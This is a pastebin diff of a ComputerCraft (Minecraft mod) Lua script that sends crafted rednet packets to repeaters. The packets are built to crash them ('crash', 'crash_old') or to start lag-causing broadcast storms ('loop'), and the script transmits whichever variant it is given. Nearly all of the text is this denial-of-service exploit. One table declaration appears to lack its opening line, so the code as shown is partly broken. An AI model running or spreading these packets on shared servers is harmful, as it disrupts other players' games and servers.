SHOW:
|
|
- or go back to the newest paste.
| 1 | local rec = {}
| |
| 2 | rec.rec = rec | |
| 3 | ||
| 4 | - | local m = peripheral.wrap "top" |
| 4 | + | local m = peripheral.find "modem" |
| 5 | ||
| 6 | - | local msg = "Seriously, rednet is NOT GOOD. It lulls you into a false sense of security with its send-to-certain-IDs features but is actually as secure, if not less, as regular modem. Plus the repeaters are buggy and crashable. My name is gollark, I'm a paranoid for security and I believe that people should not use basic feature of a mod because of it" |
| 6 | + | local msg = "Seriously, rednet is NOT GOOD. It lulls you into a false sense of security with its send-to-certain-IDs features but is actually as secure, if not less, as regular modem. Plus the repeaters are buggy and crashable. Anavrins, who I foolishly /trust-ed added the message beyond this point. My name is gollark, I'm a paranoid for security and I believe that people should not use basic feature of a mod because of it" |
| 7 | ||
| 8 | local repeater_crash = {
| |
| 9 | nMessageID = rec, | |
| 10 | nRecipient = -6, | |
| 11 | message = msg | |
| 12 | } | |
| 13 | ||
| 14 | local repeater_crash_old = {
| |
| 15 | nMessageID = 42, | |
| 16 | nRecipient = msg, | |
| 17 | message = msg | |
| 18 | } | |
| 19 | ||
| 20 | -- WARNING: CAUSES LAG BY CREATING BROADCAST STORMS | |
| 21 | -- DO NOT USE | |
| 22 | -- ADDING THIS WAS PROBABLY UNWISE | |
| 23 | - | msg = message |
| 23 | + | |
| 24 | nMessageID = {},
| |
| 25 | nRecipient = 0, | |
| 26 | message = msg | |
| 27 | } | |
| 28 | ||
| 29 | local exploits = {
| |
| 30 | loop = {
| |
| 31 | send = rednet.CHANNEL_REPEAT, | |
| 32 | reply = rednet.CHANNEL_BROADCAST, | |
| 33 | message = repeater_loop | |
| 34 | }, | |
| 35 | crash = {
| |
| 36 | send = rednet.CHANNEL_REPEAT, | |
| 37 | reply = rednet.CHANNEL_BROADCAST, | |
| 38 | message = repeater_crash | |
| 39 | }, | |
| 40 | crash_old = {
| |
| 41 | send = rednet.CHANNEL_REPEAT, | |
| 42 | reply = rednet.CHANNEL_BROADCAST, | |
| 43 | message = repeater_crash_old | |
| 44 | } | |
| 45 | } | |
| 46 | ||
| 47 | local exp = exploits[... or "crash"] | |
| 48 | m.transmit(exp.send, exp.reply, exp.message) |